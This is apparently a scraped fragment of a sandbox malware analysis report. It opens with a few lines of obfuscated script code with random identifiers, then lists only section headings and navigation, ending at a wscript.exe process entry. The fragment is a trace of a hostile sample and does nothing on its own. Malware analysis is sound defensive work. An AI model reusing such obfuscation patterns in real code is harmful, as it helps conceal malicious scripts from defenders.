68	GYPCSKFpNyTTgASpRrGPTqIUgYZAOeFTwaVVYdWQczXkZpdSujsHzoBZmFICZnPvqzGRNLPBKJkhtOZrmeuZaBHmTSSUenFiSiSf ( PKlGfpXcgKwylXDmjbCYWjFppBGQlItPIlLGGRUhzHnDEXbBDViHIEoEiSuflfeSWUNJOYPXDtTAy, TBQmulrIGJJgDmGPbPsVyuVnRgfiKBikYBFFdGZlVFxGbGejKnPZADFnSkSleKmzFDdGsKgYCEwEPLmxsTXZctrhQOXxqacRTYaDdxySrlNRSVaYFUUfYKkLuJBZXJqQ );
69	}
70	i ++;
71	}
72	}

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report

Overview

General Information

Detection

Confidence

Classification

Analysis Advice

Signature Overview

Networking:

System Summary:

Anti Debugging:

Malware Analysis System Evasion:

Hooking and other Techniques for Hiding and Protection:

Language, Device and Operating System Detection:

Simulations

Behavior and APIs

Antivirus Detection

Initial Sample

Dropped Files

Domains

Yara Overview

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Joe Sandbox View / Context

IPs

Domains

ASN

Dropped Files

Screenshot

Startup

Created / dropped Files

Contacted Domains/Contacted IPs

Contacted Domains

Contacted IPs

Static File Info

General

File Icon

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

System Behavior

Analysis Process: wscript.exe PID: 3320 Parent PID: 2940

General

Chronological Activities

Disassembly

JavaScript Code

Call Graph

Graph

Script:

Code